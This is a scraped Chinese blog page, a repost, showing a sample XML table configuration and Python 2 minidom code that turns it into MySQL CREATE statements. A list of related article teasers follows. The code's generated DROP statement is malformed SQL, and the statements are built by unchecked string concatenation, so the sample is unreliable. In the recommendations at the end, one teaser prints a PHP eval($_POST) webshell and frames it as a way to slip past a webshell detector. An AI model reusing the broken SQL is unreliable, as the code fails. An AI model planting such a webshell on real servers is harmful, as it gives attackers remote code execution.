实例Python处理XML文件的方法
转自:http://www.jb51.net/article/71773.htm
以下是部分代码:
<?
xml
version
=
"1.0"
encoding
=
"UTF-8"
?>
<!-- 表名 ,数据库名 可灵活配置插入哪个库哪个表 -->
<
table
name
=
"top_query"
db_name
=
"evaluting_sys"
>
<!-- 非业务主键,自增长,可配名,其他 INTEGER UNSIGNED AUTO_INCREMENT -->
<
primary_key
>
<
name
>id</
name
>
</
primary_key
>
<!-- 字段开始 -->
<
field
>
<
name
>query</
name
>
<
type
>varchar(200)</
type
>
<
is_index
>false</
is_index
>
<
description
>query</
description
>
</
field
>
<
field
>
<
name
>pv</
name
>
<
type
>integer</
type
>
<
is_index
>false</
is_index
>
<
description
>pv</
description
>
</
field
>
<
field
>
<
name
>avg_money</
name
>
<
type
>integer</
type
>
<
is_index
>false</
is_index
>
<
description
></
description
>
</
field
>
<!-- 字段配置结束 -->
</
table
>
----------------------------------
import
sys,os
from
xml.dom
import
minidom, Node
def
read_dbconfig_xml(xml_file_path):
content
=
{}
root
=
minidom.parse(xml_file_path)
table
=
root.getElementsByTagName(
"table"
)[
0
]
#read dbname and table name.
table_name
=
table.getAttribute(
"name"
)
db_name
=
table.getAttribute(
"db_name"
)
if
len
(table_name) >
0
and
len
(db_name) >
0
:
db_sql
=
"create database if not exists `"
+
db_name
+
"`; use "
+
db_name
+
";"
table_drop_sql
=
"drop "
+
table_name
+
" if exists "
+
table_name
+
";"
content.update({
"db_sql"
: db_sql})
content.update({
"table_sql"
: table_drop_sql })
else
:
print
"Error:attribute is not define well! db_name="
+
db_name
+
" ;table_name="
+
table_name
sys.exit(
1
)
#print table_name, db_name
table_create_sql
=
"create table "
+
table_name
+
"("
#read primary cell
primary_key
=
table.getElementsByTagName(
"primary_key"
)[
0
]
primary_key_name
=
primary_key.getElementsByTagName(
"name"
)[
0
].childNodes[
0
].nodeValue
table_create_sql
+
=
primary_key_name
+
" INTEGER NOT NULL AUTO_INCREMENT PRIMARY KEY,"
#print primary_key.toxml()
#read ordernary field
fields
=
table.getElementsByTagName(
"field"
)
f_index
=
0
for
field
in
fields:
f_index
+
=
1
name
=
field.getElementsByTagName(
"name"
)[
0
].childNodes[
0
].nodeValue
type
=
field.getElementsByTagName(
"type"
)[
0
].childNodes[
0
].nodeValue
table_create_sql
+
=
name
+
" "
+
type
if
f_index !
=
len
(fields):
table_create_sql
+
=
","
is_index
=
field.getElementsByTagName(
"is_index"
)[
0
].childNodes[
0
].nodeValue
table_create_sql
+
=
");"
content.update({
"table_create_sql"
: table_create_sql})
#character set latin1 collate latin1_danish_ci;
print
content
if
__name__
=
=
"__main__"
:
read_dbconfig_xml(sys.argv[
1
])
实例Python处理XML文件的方法的更多相关文章
- python操作xml文件
一.什么是xml? xml即可扩展标记语言,它可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言. abc.xml <?xml version="1.0&q ...
- python读取xml文件报错ValueError: multi-byte encodings are not supported
1.在使用python对xml文件进行读取时,提示ValueError: multi-byte encodings are not supported 很多贴子上说把xml的编码格式改为,就可以正常执 ...
- Python 读写XML文件
Python 生成XML文件 from xml.dom import minidom # 生成XML文件方式 def generateXml(): impl = minidom.getDOMImple ...
- C#中常用的几种读取XML文件的方法
1.C#中常用的几种读取XML文件的方法:http://blog.csdn.net/tiemufeng1122/article/details/6723764/
- 八、Android学习第七天——XML文件解析方法(转)
(转自:http://wenku.baidu.com/view/af39b3164431b90d6c85c72f.html) 八.Android学习第七天——XML文件解析方法 XML文件:exten ...
- C#中经常使用的几种读取XML文件的方法
XML文件是一种经常使用的文件格式,比如WinForm里面的app.config以及Web程序中的web.config文件,还有很多重要的场所都有它的身影.Xml是Internet环境中跨平台的,依赖 ...
- Python解析xml文件遇到的编码解析的问题
使用python对xml文件进行解析的时候,假设xml文件的头文件是utf-8格式的编码,那么解析是ok的,但假设是其它格式将会出现例如以下异常: xml.parsers.expat.ExpatErr ...
- python读写xml文件
python读取xml文件 xml文件是具有树状结构的,如果想要访问某个叶子结点,必须逐层获取其父结点,要读取某个叶子结点内容用text成员 使用前先加载xml工具包 try: import xml. ...
- C# 读写XML文件的方法
C# 读写XML文件的方法 一.写XML文件 XmlDocument xmlDocument = new XmlDocument();xmlDocument.AppendChild(xmlDocume ...
随机推荐
- 绕过D盾的一句话
一个很简单的一个技巧,作个笔记,可以绕过D盾检测. 新建test1.php <?php eval($_POST[g]); ?> 新建test2.php <?php $a=" ...
- VS调试DLL项目代码
如果DLL有对应的lib文件,并且dll工程和调用它的exe属于同一个解决方案,直接打断点调试就可以.例如OSG解决方案中的例子程序可以直接调试osgUtil模块的代码. 如果A.exe项目和A.dl ...
- Ubuntu输入法切换问题
不知道改了个什么东西,Ubuntu 15.04 中Ctrl+Space不能切换输入法了,因此不能输入英文,shell就更是没法工作,在设置里面找了好久,“文本输入”/“语言支持”/“键盘”里面都没找到 ...
- UISegmentedControl的基本用法
本文转载至 http://www.tuicool.com/articles/yUfURj 原文 http://blog.csdn.net/hmt20130412/article/details/38 ...
- cygwin设置NDK环境变量ANDROID_NDK_ROOT
cygwin安装目录下的“home/当前用户名”的.bash_profile下以UltraEdit(Unix方式)或者eclipse打开,最后添加一句: ANDROID_NDK_ROOT=/cygdr ...
- js 简易模板引擎 , 持续更新。。。
<script> var _mytpl = (function(){ var _verson = 1.0; return { _data:{}, load:function(html,da ...
- 使用kendynet编写网关服务
网游服务器大多提供了网关服务,用于作为用户和内部服务器组之间通信代理.网关服务一方面将用户消息从客户端分发到正确的内部服务器. 另一方面将来自内部服务器的数据包转发给客户端.一般对于网关应用来说,压力 ...
- 【docker】 centos7 下 使用docker 安装 LNMP
一.安装 mysql 1 获取 mysql 镜像 docker pull mysql:5.7 2 创建mysql的镜像,并运行 docker run -d -p : -e MYSQL_ROOT_PAS ...
- python爬虫---->scrapy的使用(一)
这里我们介绍一下python的分布式爬虫框架scrapy的安装以及使用.平庸这东西犹如白衬衣上的污痕,一旦染上便永远洗不掉,无可挽回. scrapy的安装使用 我的电脑环境是win10,64位的.py ...
- c++ malloc与free
今天看STL内存配置器的时候,第一级配置器就是直接用malloc.free来管理内存. 而free和malloc都只需要传入或传出一个指针就能分配和释放内存了. 编译器是如何知道,这个指针指向的空间的 ...